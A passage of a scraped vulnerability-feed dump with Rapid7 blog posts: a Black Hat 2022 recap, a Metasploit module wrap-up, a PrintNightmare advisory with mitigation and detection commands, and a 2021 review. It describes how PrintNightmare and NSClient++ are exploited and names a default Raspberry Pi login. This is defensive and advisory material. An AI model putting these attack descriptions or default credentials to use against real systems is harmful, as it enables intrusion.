URLs. The latest update to the Metasploit UI understands a URL's format, so users can copy and paste them from anywhere, even right from their browser.\n\n****Payloadless session capabilities: ****When emulating attacks, exploits typically generate Meterpreter payloads, making them easy to spot for many antivirus and EDR solutions \u2014 and reducing their effectiveness for security testing. Metasploit now lets you run post-exploitation actions and operations without needing a payload. You can tunnel modules through SSH sessions or create a WinRM session for any Metasploit module compatible with the shell session type, removing the need for a payload like reverse shell or Meterpreter.\n\n****SMB server support:**** Metasploit Version 6 included SMB 3 server support, but only for client modules, which was limiting for users who were working with modern Windows targets that had disabled SMB 3 client support. Now, SMB 3 is available in all SMB server modules, so you can target modern Windows environments and have them fetch (often payload) files from Metasploit. This means you don't need to install and configure an external service to test for certain types of vulnerabilities, including [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>).\n\n## Defaultinator: Find default credentials faster\n\nMetasploit is at the heart of Rapid7's commitment to open-source security, but we're not stopping there. In addition to continually improving Metasploit, our research team works on new open-source projects that help make security more accessible for all. The latest of those is Defaultinator, a new tool that Curt Barnard announced the release of in his Black Hat Arsenal talk this year. (Curt also joined our podcast, Security Nation, to preview the announcement \u2014 [check out that episode](<https://www.rapid7.com/blog/post/2022/08/03/security-nation-curt-barnard-on-defaultinator-black-hat-arsenal-preview/>) if you haven't yet!)\n\n[Defaultinator](<https://defaultinator.com/>) is an open-source tool for looking up default usernames and passwords, providing an easy-to-search data repository in which security pros can query these commonly used credentials to find and eliminate them from their environment. This capability is becoming increasingly important for security teams, for a few key reasons:\n\n * Some commonly used pieces of hardware in IT environments come with default credentials that could give attackers an easily exploitable method of network access. Curt gave the example of the Raspberry Pi microcontroller board, which always comes with the username \"pi\" and password \"raspberry\" for initial login \u2014 a security flaw that resulted in a [10 CVSS vulnerability](<https://nvd.nist.gov/vuln/detail/CVE-2021-38759>) published in 2021.\n * Meanwhile, IoT devices have been proliferating, and many of these manufacturers don't have security best practices at the front of their mind. That means hardcoded default credentials for first-time logins are common in this type of tool.\n * Many software engineers (Curt included) spend a lot of time in [Stack Overflow](<https://stackoverflow.com/>), and many of the code snippets found there contain example usernames and passwords. If you aren't careful when copying and pasting, default credentials could make their way into your production environment.\n\nWith a whopping 54 CVEs for hardcoded usernames and passwords released just in 2022 so far (by Curt's count), security pros are in need of a fast, accurate way to audit for default credentials. But until now, the tools for these kinds of audits just haven't been out there, let alone widely available.\n\nThat's why it was so important to make Defaultinator, the first tool of its kind for querying default usernames and passwords, an open-source solution \u2014 to ensure broad accessibility and help as many defenders as possible. Defaultinator offers an API search-based utility or a web-based user interface if you prefer not to interact with the API. It runs in Docker, and the quickstart repository on [Github](<https://github.com/defaultinator>) takes just four lines of code to get up and running.\n\nWatch the replays of Spencer's and Curt's presentations, as well as other great sessions from Black Hat 2022, at our [replay page](<https://www.rapid7.com/info/events-2022/post-blackhat-2022/>).\n\n_**Additional reading:**_\n\n * _[Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software](<https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/>)_\n * _[[VIDEO] An Inside Look at Black Hat 2022 From the Rapid7 Team](<https://www.rapid7.com/blog/post/2022/08/15/video-an-inside-look-at-black-hat-2022-from-the-rapid7-team/>)_\n * _[Collaboration Drives Secure Cloud Innovation: Insights From AWS re:Inforce](<https://www.rapid7.com/blog/post/2022/08/02/collaboration-drives-secure-cloud-innovation-insights-from-aws-re-inforce/>)_\n * _[Defending Against Tomorrow's Threats: Insights From RSAC 2022](<https://www.rapid7.com/blog/post/2022/06/13/defending-against-tomorrows-threats-insights-from-rsac-2022/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-19T14:25:08", "type": "rapid7blog", "title": "Pushing Open-Source Security Forward: Insights From Black Hat 2022", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-38759"], "modified": "2022-08-19T14:25:08", "id": "RAPID7BLOG:D1C9D661B6FC47BE44B8FBB6E1D49AD5", "href": "https://blog.rapid7.com/2022/08/19/pushing-open-source-security-forward-insights-from-black-hat-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-09T18:55:38", "description": "## PrintNightmare\n\n\n\nRapid7 security researchers [Christophe De La Fuente](<https://github.com/cdelafuente-r7>), and [Spencer McIntyre](<https://github.com/zeroSteiner>), have added a new module for [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), dubbed PrintNightmare. This module builds upon the research of Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0. The module triggers a remote DLL load by abusing a vulnerability in the Print Spooler service. The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request using the MS-RPRN vector, resulting in remote code execution as `NT AUTHORITY\\SYSTEM`.\n\nBecause Metasploit's SMB server doesn't support SMB3 (yet), it's highly recommended to use an external SMB server like Samba that supports SMB3. The [Metasploit module documentation](<https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md>) details the process of generating a payload DLL and using this module to load it.\n\n[CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) is being actively exploited in the wild. For more information and a full timeline, see [Rapid7\u2019s blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)!\n\n## NSClient++\n\nGreat work by community contributor [Yann Castel](<https://github.com/Hakyac>) on their new NSClient++ module. This module allows an attacker with an unprivileged windows account to gain admin access on a windows system and start a shell.\n\nFor this module to work, both the web interface of NSClient++ and the `ExternalScripts` feature should be enabled. You must also know where the NSClient config file is as it is used to read the admin password which is stored in clear text.\n\n## New module content (2)\n\n * [Print Spooler Remote DLL Injection](<https://github.com/rapid7/metasploit-framework/pull/15385>) by Christophe De La Fuente, Piotr Madej, Spencer McIntyre, Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0, which exploits [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) \\- A new module has been added to Metasploit to exploit PrintNightmare, aka CVE-2021-1675/CVE-2021-34527, a Remote Code Execution vulnerability in the Print Spooler service of Windows. Successful exploitation results in the ability to load and execute an attacker controlled DLL as the `SYSTEM` user.\n\n * [NSClient++ 0.5.2.35 - Privilege escalation](<https://github.com/rapid7/metasploit-framework/pull/15318>) by BZYO, Yann Castel and kindredsec - This post module allows an attacker to perform a privilege escalation on a machine running a vulnerable version of NSClient++. The module retrieves the admin password from a config file at a customizable path, and so long as NSClient++ has both the web interface and ExternalScriptsfeature enabled, gains a SYSTEM shell.\n\n## Enhancements and features\n\n * [#15366](<https://github.com/rapid7/metasploit-framework/pull/15366>) from [pingport80](<https://github.com/pingport80>) \\- This updates how the msfconsole's history file is handled. It adds a size limitation so the number of commands does not grow indefinitely and fixes a locking condition that would occur when the history file had grown exceptionally large (~400,000 lines or more).\n\n## Bugs fixed\n\n * [#15320](<https://github.com/rapid7/metasploit-framework/pull/15320>) from [agalway-r7](<https://github.com/agalway-r7>) \\- A bug has been fixed in the `read_file` method of `lib/msf/core/post/file.rb` that prevented PowerShell sessions from being able to use the `read_file()` method. PowerShell sessions should now be able to use this method to read files from the target system.\n * [#15371](<https://github.com/rapid7/metasploit-framework/pull/15371>) from [bcoles](<https://github.com/bcoles>) \\- This fixes an issue in the `apport_abrt_chroot_priv_esc` module where if the `apport-cli` binary was not in the PATH the check method would fail.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from\n\nGitHub:\n\n * [Pull Requests 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-06-30T14%3A00%3A49-05%3A00..2021-07-08T16%3A19%3A37%2B01%3A00%22>)\n * [Full diff 6.0.51...6.0.52](<https://github.com/rapid7/metasploit-framework/compare/6.0.51...6.0.52>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest.\n\nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the\n\n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {}, "published": "2021-07-09T17:53:41", "type": "rapid7blog", "title": "Metasploit Wrap-up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-09T17:53:41", "id": "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "href": "https://blog.rapid7.com/2021/07/09/metasploit-wrap-up-120/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-12T14:55:46", "description": "\n\n**Vulnerability note:** This blog originally referenced CVE-2020-1675, but members of the community noted the week of June 29 that the publicly available exploits that purported to exploit CVE-2021-1675 may in fact have been targeting a new vulnerability in the same function as CVE-2021-1675. This was later confirmed, and Microsoft issued a new CVE for what the research community originally thought was CVE-2021-1675. Defenders should now follow guidance and remediation information on the new vulnerability identifier,[CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), instead.\n\nOn June 8, 2021, Microsoft released an advisory and patch for [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) (\u201cPrintNightmare\u201d), a critical vulnerability in the Windows Print Spooler. Although [originally classified](<https://www.rapid7.com/blog/post/2021/06/08/patch-tuesday-june-2021/>) as a privilege escalation vulnerability, security researchers have demonstrated that the vulnerability allows authenticated users to gain remote code execution with SYSTEM-level privileges. On June 29, 2021, as proof-of-concept exploits for the vulnerability began circulating, security researchers discovered that a vulnerability they thought to be CVE-2021-1675 was still exploitable on some systems that had been patched. As of July 1, at least three different proof-of-concept exploits [had been made public](<https://github.com/afwu/PrintNightmare>).\n\nRapid7 researchers confirmed that public exploits worked against fully patched Windows Server 2019 installations as of July 1, 2021. The vulnerable service is enabled by default on Windows Server, with the exception of Windows Server Core. Therefore, it is expected that in the vast majority of enterprise environments, Windows systems are vulnerable to remote code execution by authenticated attackers.\n\nThe vulnerability is in the `RpcAddPrinterDriver` call of the Windows Print Spooler. A client uses the RPC call to add a driver to the server, storing the desired driver in a local directory or on the server via SMB. The client then allocates a `DRIVER_INFO_2` object and initializes a `DRIVER_CONTAINER` object that contains the allocated `DRIVER_INFO_2` object. The `DRIVER_CONTAINER` object is then used within the call to `RpcAddPrinterDriver` to load the driver. This driver may contain arbitrary code that will be executed with SYSTEM privileges on the victim server. This command can be executed by any user who can authenticate to the Spooler service.\n\n## Updates\n\n**9 July 2021**: Microsoft [released revised guidance on CVE-2021-34527](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) the evening of July 8. According to the Microsoft Security Response Center, the out-of-band security update &quot;is working as designed and is effective against the known printer spooling exploits and other public reports collectively being referred to as PrintNightmare. All reports we have investigated have relied on the changing of default registry setting related to Point and Print to an insecure configuration.&quot; This is consistent with Microsoft's emphasis earlier in the week that the out-of-band update effectively remediates CVE-2021-34527 **as long as Point and Print is not enabled.**\n\nThe [updated guidance from July 8, 2021](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) also contains revisions to the registry keys that must be set to `0` (or must not be present) in order to ensure that Point and Print is disabled in customer environments. Previously, Microsoft's guidance had been that Point and Print could be disabled by setting the following registry keys to `0` (or ensuring they are not present):\n\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` and\n * `NoWarningNoElevationOnUpdate = 0`\n\n**However, as of July 8, 2021, one of the registry keys that must be set to a 0 (zero) value has changed.** Current guidance is that Point and Print can be disabled by setting the following registry keys to `0` (or ensuring they are not present):\n\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` (DWORD) or not defined (default setting) **and**\n * `UpdatePromptSettings = 0` (DWORD) or not defined (default setting)\n\nWe have updated the `Mitigation Guidance` section in this post to reflect the latest remediation guidance from Microsoft. Further details can still be found in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>).\n\n**7 July 2021**: Microsoft released out-of-band updates for some (but not all) versions of Windows the evening of July 6, 2021. According to Microsoft's updated advisory, &quot;the security updates released on and after July 6, 2021 contain protections for CVE-2021-1675 and the additional remote code execution exploit in the Windows Print Spooler service known as \u201cPrintNightmare\u201d, documented in CVE-2021-34527.&quot; Exploitation in the wild has been detected, and ALL Windows systems are affected\u2014not just domain controllers.\n\n**As of July 7, 2021, multiple community researchers have disputed the efficacy of Microsoft's out-of-band fixes for CVE-2021-34527, noting that the local privilege escalation (LPE) vector may not have been addressed, and while the July 6 updates may have remediated the original MS-RPRN vector for remote code execution, RCE is [still possible using MS-PAR](<https://twitter.com/gentilkiwi/status/1411792763478233091>) with Point and Print enabled.** Several prominent researchers have tested ongoing exploitability, including [Will Dormann of CERT/CC](<https://twitter.com/wdormann/status/1412813044279910416>) and Mimikatz developer [Benjamin Delpy](<https://twitter.com/gentilkiwi/status/1412771368534528001>). Dormann [tweeted](<https://twitter.com/wdormann/status/1412813044279910416>) on July 7, 2021 just after noon EDT that &quot;If you have a system where PointAndPrint NoWarningNoElevationOnInstall = 1, then Microsoft's patch for #PrintNightmare CVE-2021-34527 does nothing to prevent either LPE or RCE.&quot;\n\nRapid7 researchers have confirmed that Metasploit and other public proof-of-concept code is still able to achieve remote code execution using both MS-RPRN and the UNC path bypass _as long as Point and Print is enabled._ When Point and Print is disabled using the guidance below, public exploit code fails to achieve remote code execution.\n\nTo fully remediate PrintNightmare CVE-2021-34527, Windows administrators should review Microsoft's guidance in in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>), install the out-of-band updates released July 6, 2021, and disable Point and Print. Microsoft also recommends restricting non-administrators from installing any signed or unsigned printer drivers on printer servers. See the **Mitigation Guidance** section below for detailed guidance.\n\n**6 July 2021**: Since this blog was initially posted, additional information has become available. Microsoft has issued a new advisory and assigned a new CVE ID to the PrintNightmare vulnerability: [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). \nThe new guidance recommends disabling the print spooler, as we initially recommended, and also contains instructions to disable inbound remote printing through Group Policy.\n\nThese are only workarounds and a patch remains unavilable at this time. \nSince this vulnerability has no patch and multiple proofs-of-concept are freely available, we recommend implementing a workaround mitigation as soon as possible. We advise folowing one of the two workarounds on all Domain Controllers and any other Windows machines\u2014servers or clients\u2014which meet either of the following criteria:\n\n 1. Point and Print is enabled\n 2. The Authenticated Users group is nested within any of the groups that are listed in the [mitigation section of Microsoft's advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\nFrom a technical standpoint, additional information from Cube0x0 and Benjamin Delpy suggests that the `RpcAddPrinterDriver` is not the only vulnerable function, and the Win32 `AddPrinterDriverEx` function will also work correctly.Some proofs of concept used only the RPRN `RpcAddPrinterDriver` function and did not work on certain machines; others have been demonstrated to work on servers and clients other than domain controllers using `AddPrinterDriverEx`. This has also been referred to as &quot;SharpPrintNightmare&quot;.\n\n## Mitigation Guidance\n\nUp until July 6, 2021, the most effective mitigation strategy was to disable the print spooler service itself. Since July 6, Microsoft's guidance on remediating CVE-2021-34527 has undergone several revisions. Updated mitigation guidance is below, and we have also preserved our original guidance on disabling the print spooler service. The Microsoft Security Response Center [published a blog](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>) with the details below on July 8, 2021.\n\n**As of July 9, 2021:** \nTo fully remediate CVE-2021-34527, Windows administrators should review Microsoft's guidance in in [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) and do the following:\n\n 1. Install the cumulative update released July 6, 2021.\n 2. Disable Point and Print by setting the following registry keys to `0` (or ensuring they are not present):\n * `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall = 0` (DWORD) or not defined (default setting) **and**\n * `UpdatePromptSettings = 0` (DWORD) or not defined (default setting)\n 3. Configure the `RestrictDriverInstallationToAdministrators` registry value to prevent non-administrators from installing printer drivers on a print server. Setting this value to 1 or any non-zero value prevents a non-administrator from installing any signed or unsigned printer driver on a printer server. Administrators can install both a signed or unsigned printer driver on a print server.\n\n**Note:** This guidance has been revised and reflects new information published by Microsoft on July 8, 2021. Previously, Microsoft's guidance had been that Point and Print could be disabled by setting the `HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Printers\\PointAndPrint NoWarningNoElevationOnInstall` and `NoWarningNoElevationOnUpdate` registry keys to `0`. As of July 9, 2021, this information is outdated and Windows customers should use the [revised guidance](<https://msrc-blog.microsoft.com/2021/07/08/clarified-guidance-for-cve-2021-34527-windows-print-spooler-vulnerability/>).\n\nAfter installing the July 2021 out-of-band update, all users will be either administrators or non-administrators. Delegates will no longer be honored. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for further information.\n\nIf your organization does not require printing to conduct business operations, you may also disable the print spooler service. This should be done on all endpoints, servers, and especially domain controllers. Dedicated print servers may still be vulnerable if the spooler is not stopped. Microsoft [security guidelines](<https://docs.microsoft.com/en-us/windows-server/security/windows-services/security-guidelines-for-disabling-system-services-in-windows-server#print-spooler>) do not recommend disabling the service across all domain controllers, since the active directory has no way to remove old queues that no longer exist unless the spooler service is running on at least one domain controller in each site. However, until this vulnerability is effectively patched, this should have limited impact compared to the risk.\n\nOn Windows cmd:\n \n \n net stop spooler\n \n\nOn PowerShell:\n \n \n Stop-Service -Name Spooler -Force\n Set-Service -Name Spooler -StartupType Disabled\n \n\nThe following PowerShell commands can be used to help find exploitation attempts:\n \n \n Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin' | Select-String -InputObject {$_.message} -Pattern 'The print spooler failed to load a plug-in module'\n \n \n \n Get-WinEvent -FilterHashtable @{Logname='Microsoft-Windows-PrintService/Operational';ID=316} | Select-Object *\n \n\n## Rapid7 Customers\n\nWe strongly recommend that all customers either install the July 6, 2021 out-of-band updates **and** disable Point and Print via the two registry keys detailed in the `Mitigation Guidance` section above, **OR** disable the Windows Print Spooler service altogether on an emergency basis to mitigate the immediate risk of exploitation. InsightVM and Nexpose customers can assess their exposure to CVE-2021-34527 with authenticated checks in the July 8, 2021 content release. Checks look for the out-of-band patches Microsoft issued on July 6, 2021 and additionally ensure that Point and Print has been disabled in customer environments. InsightVM and Nexpose checks for CVE-2021-1675 were [released earlier in June](<https://www.rapid7.com/db/vulnerabilities/msft-cve-2021-1675/>).\n\nVelociraptor users can use [this artifact](<https://docs.velociraptor.app/exchange/artifacts/pages/printnightmare/>) and [this artifact](<https://docs.velociraptor.app/exchange/artifacts/pages/printnightmaremonitor/>) to hunt for .dll files dropped during PrintNightmare exploitation. An exploit module is also available to Metasploit Pro customers.\n\nWe will continue to update this blog as further information comes to light.", "cvss3": {}, "published": "2021-06-30T18:15:59", "type": "rapid7blog", "title": "CVE-2021-34527 (PrintNightmare): What You Need to Know", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-1675", "CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-06-30T18:15:59", "id": "RAPID7BLOG:45A121567763FF457DE6E50439C2605A", "href": "https://blog.rapid7.com/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-05T19:04:19", "description": "\n\nNow that 2022 is fully underway, it's time to wrap up some of the milestones that Rapid7 achieved in 2021. We worked harder than ever last year to help protectors keep their organization's infrastructure secure \u2014 even in the face of [some of the most difficult threats](<https://www.rapid7.com/log4j-cve-2021-44228-customer-resources/>) the security community has dealt with in recent memory. Here's a rundown of some of our biggest moments in that effort from 2021.\n\n## Emergent threats and vulnerability disclosures\n\nAs always, our Research and Emergent Threat Response teams spent countless hours this year tirelessly bringing you need-to-know information about the most impactful late-breaking security exploits and vulnerabilities. Let's revisit some of the highlights.\n\n### Emergent threat reports\n\n * [Widespread Exploitation of Critical Remote Code Execution in Apache Log4j](<https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/>)\n * [CVE-2021-34527 (PrintNightmare): What You Need to Know](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)\n * [GitLab Unauthenticated Remote Code Execution CVE-2021-22205 Exploited in the Wild](<https://www.rapid7.com/blog/post/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/>)\n * [Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)](<https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/>)\n * [Microsoft SAM File Readability CVE-2021-36934: What You Need to Know](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>)\n * [ProxyShell: More Widespread Exploitation of Microsoft Exchange Servers](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>)\n\n### Vulnerability disclosures\n\n * [CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)](<https://www.rapid7.com/blog/post/2021/09/07/cve-2021-3546-78-akkadian-console-server-vulnerabilities-fixed/>)\n * [Fortinet FortiWeb OS Command Injection](<https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/>)\n * [CVE-2020-7387..7390: Multiple Sage X3 Vulnerabilities](<https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/>)\n\n## Research and policy highlights\n\nThat's not all our Research team was up to in 2021. They also churned out a wealth of content and resources weighing in on issues of industry-wide, national, and international importance.\n\n * We published several reports on the state of cybersecurity, including:\n * Our [2020 Vulnerability Intelligence Report](<https://www.rapid7.com/blog/post/2021/03/11/introducing-the-vulnerability-intelligence-report-50-cves-that-made-headlines-in-2020/>)\n * Our latest [Industry Cyber-Exposure Report (ICER)](<https://www.rapid7.com/blog/post/2021/05/05/rapid7-releases-new-industry-cyber-exposure-report-icer-asx-200/>)\n * Our [2021 Cloud Misconfigurations Report](<https://www.rapid7.com/info/2021-cloud-misconfigurations-research-report/>)\n * We tackled the [hot-button topic of hack back](<https://www.rapid7.com/blog/post/2021/08/10/hack-back-is-still-wack/>) and discussed whether or not the practice is, in fact, wack. (Spoiler: It is.)\n * We unpacked the implications for [cybersecurity in the US Infrastructure Bill](<https://www.rapid7.com/blog/post/2021/08/31/cybersecurity-in-the-infrastructure-bill/>).\n * We highlighted the reasons why we think the [UK's Computer Misuse Act](<https://www.rapid7.com/blog/post/2021/08/12/reforming-the-uks-computer-misuse-act/>) needs some revising.\n * We launched [Project Doppler](<https://www.rapid7.com/research/project-doppler/>), a free tool for Rapid7 customers, developed by our Research team to help organizations get better insight into their public internet exposure.\n\n## The Rapid7 family keeps growing\n\nThroughout 2021, we made some strategic acquisitions to broaden the solutions we offer and help make the [Insight Platform](<https://www.rapid7.com/products/insight-platform/>) the one-stop shop for your security program.\n\n * [We acquired IntSights](<https://www.rapid7.com/blog/post/2021/07/19/rapid7-acquires-intsights/>) to help organizations obtain holistic threat intelligence.\n * [We teamed up with open-source platform Velociraptor](<https://www.rapid7.com/blog/post/2021/04/21/rapid7-and-velociraptor-join-forces/>) to provide teams with better endpoint visibility.\n * [We brought Kubernetes security provider Alcide](<https://www.rapid7.com/blog/post/2021/02/01/rapid7-acquires-leading-kubernetes-security-provider-alcide/>) under the Rapid7 umbrella to add more robust cloud security capabilities to InsightCloudSec.\n\n## Industry accolades\n\nWe're always thrilled to get industry recognition for the work we do helping protectors secure their organizations \u2014 and we had a few big nods to celebrate in 2021.\n\n * Gartner once again [named us a Leader](<https://www.rapid7.com/blog/post/2021/08/23/rapid7-mdr-named-a-market-leader-again/>) in its Magic Quadrant for Managed Detection and Response (MDR).\n * We also earned recognition as a Strong Performer in the [inaugural Forrester Wave for MDR](<https://www.rapid7.com/blog/post/2021/03/24/rapid7-recognized-as-a-strong-performer-in-the-inaugural-forrester-wave-for-mdr-q1-2021/>).\n * InsightIDR was recognized by Gartner us as a [Leader in SIEM](<https://www.rapid7.com/blog/post/2021/07/06/once-again-rapid7-named-a-leader-in-2021-gartner-magic-quadrant-for-siem/>) for the second time in a row.\n * For its 2021 Dynamic Application Security Testing (DAST) Magic Quadrant, Gartner [named us a Visionary](<https://www.rapid7.com/blog/post/2021/06/01/rapid7-named-a-visionary-in-2021-gartner-magic-quadrant-for-application-security-testing/>).\n\n## Keeping in touch\n\nClearly, we had a pretty busy 2021 \u2014 and we have even more planned for 2022. If you need the latest and greatest in security content to tide you over throughout the last few weeks of the year, we have a few ideas for you.\n\n * Listen to the [latest season of Security Nation](<https://www.rapid7.com/blog/series/security-nation/security-nation-season-4/>), our podcast where we chat with amazing guests from all corners of the security community. Season 5 launches later this month!\n * Put the finishing touches on your cybersecurity program for the coming year with insights from our [2022 Planning series](<https://www.rapid7.com/blog/tag/2022-planning/>).\n * Get better acquainted with the latest application security threats with our series on the [OWASP Top 10 for 2021](<https://www.rapid7.com/blog/tag/owasp-top-10-2021/>).\n * Read up on why [InsightIDR was XDR before it was cool to be XDR](<https://www.rapid7.com/blog/post/2021/11/09/insightidr-was-xdr-before-xdr-was-even-a-thing-an-origin-story/>).\n\nStay tuned for more great content, research, and much more in 2022!\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-01-05T18:52:41", "type": "rapid7blog", "title": "Rapid7 2021 Wrap-Up: Highlights From a Year of Empowering the Protectors", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-7387", "CVE-2021-1675", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-34527", "CVE-2021-3546", "CVE-2021-36934", "CVE-2021-44228"], "modified": "2022-01-05T18:52:41", "id": "RAPID7BLOG:F9B4F18ABE4C32CD54C3878DD17A8630", "href": "https://blog.rapid7.com/2022/01/05/rapid7-2021-wrap-up-highlights-from-a-year-of-empowering-the-protectors/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-08T15:44:47", "description": "\n\nIn today's post, we're giving a rundown of new features and functionality launched in Q3 2021 for [InsightVM](<https://www.rapid7.com/products/insightvm/>) and the [Insight Platform](<https://www.rapid7.com/products/insight-platform/>). We hope you can begin to 